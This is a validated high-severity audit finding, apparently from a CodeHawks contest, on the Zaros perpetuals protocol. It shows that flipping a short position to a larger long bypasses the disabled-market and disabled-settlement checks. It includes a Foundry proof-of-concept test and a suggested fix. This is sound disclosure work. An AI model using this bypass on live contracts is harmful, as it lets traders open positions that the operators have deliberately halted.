Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Increasing/opening an order when the market or settlement are disabled

fyamf

Summary

Increasing/opening an order in case of a disabled market or settlement.

Vulnerability Details

When filling an order it checks that in case of an increasing/opening order, both the market and settlement are enabled.

if (ctx.isIncreasing) {
// both checks revert if disabled
globalConfiguration.checkMarketIsEnabled(marketId);
settlementConfiguration.checkIsSettlementEnabled();
}

https://github.com/Cyfrin/2024-07-zaros/blob/main/src/perpetuals/branches/SettlementBranch.sol#L376

This is verified by calling the internal function isIncreasing.

function isIncreasing(
uint128 tradingAccountId,
uint128 marketId,
int128 sizeDelta
)
internal
view
returns (bool)
{
Data storage self = Position.load(tradingAccountId, marketId);
​
// If position is being opened (size is 0) or if position is being increased (sizeDelta direction is same as
// position size)
// For a positive position, sizeDelta should be positive to increase, and for a negative position, sizeDelta
// should be negative to increase.
// This also implicitly covers the case where if it's a new position (size is 0), it's considered an increase.
return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
}

https://github.com/Cyfrin/2024-07-zaros/blob/main/src/perpetuals/leaves/Position.sol#L155

This can be bypassed by the following scenario.

  • The attacker opens a short position, and later it becomes filled.

  • Then, the owner disables the market or settlement.

  • Then the attacker creates a long position where the size is larger than the previous short position. In other words, the attacker flips its direction from short to long.

  • By doing so, the protocol considers it non-increasing order because of size < 0 and sizeDelta > 0, thust it allows the order to be filled even though the market or the settlement is disabled.

PoC

In the following test, the user creates a short order with size 10 and later it becomes filled. Then, the owner disables the ETH market. Then the user creates a long order with size 15 so that the short position will be closed and a long position with size 5 would be opened even though the market is disabled.

function test_increasingAnOrderWhenMarketOrSettlementAreDisabled()
external
givenTheSenderIsTheKeeper
givenTheMarketOrderExists
givenThePerpMarketIsEnabled
givenTheSettlementStrategyIsEnabled
givenTheReportVerificationPasses
whenTheMarketOrderIdMatches
givenTheDataStreamsReportIsValid
givenTheAccountWillMeetTheMarginRequirement
givenTheMarketsOILimitWontBeExceeded
{
TestFuzz_GivenThePnlIsPositive_Context memory ctx;
ctx.fuzzMarketConfig = getFuzzMarketConfig(ETH_USD_MARKET_ID);
​
uint256 marginValueUsd = 1_000e18;
​
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
​
deal({ token: address(usdz), to: users.naruto.account, give: marginValueUsd });
​
ctx.tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdz));
​
console.log("\nCreating first order\n");
​
// Creating the first order
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: int128(-10e18) // a short position with size delta 10
})
);
​
console.log("\nFilling first order\n");
​
// Filling the first order
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
​
// Market is disabled by the owner
changePrank({ msgSender: users.owner.account });
perpsEngine.updatePerpMarketStatus(ETH_USD_MARKET_ID, false);
​
changePrank({ msgSender: users.naruto.account });
​
console.log("\nCreating second order\n");
​
// Creating the second order
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: int128(15e18) // a long position with size delta 15. So the final size would be -10 + 15 = 5
})
);
​
console.log("\nFilling second order\n");
​
// Filling the second order
changePrank({ msgSender: ctx.marketOrderKeeper });
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
​
}

Impact

Increasing/opening an order in case of a disabled market or settlement.

Tools Used

Recommendations

The following code is recommended:

return self.size == 0 || ((self.size + sizeDelta) > 0 && sizeDelta > 0) || ((self.size + sizeDelta) < 0 && sizeDelta < 0);

https://github.com/Cyfrin/2024-07-zaros/blob/main/src/perpetuals/leaves/Position.sol#L155

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Disable market limitation can be bypassed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.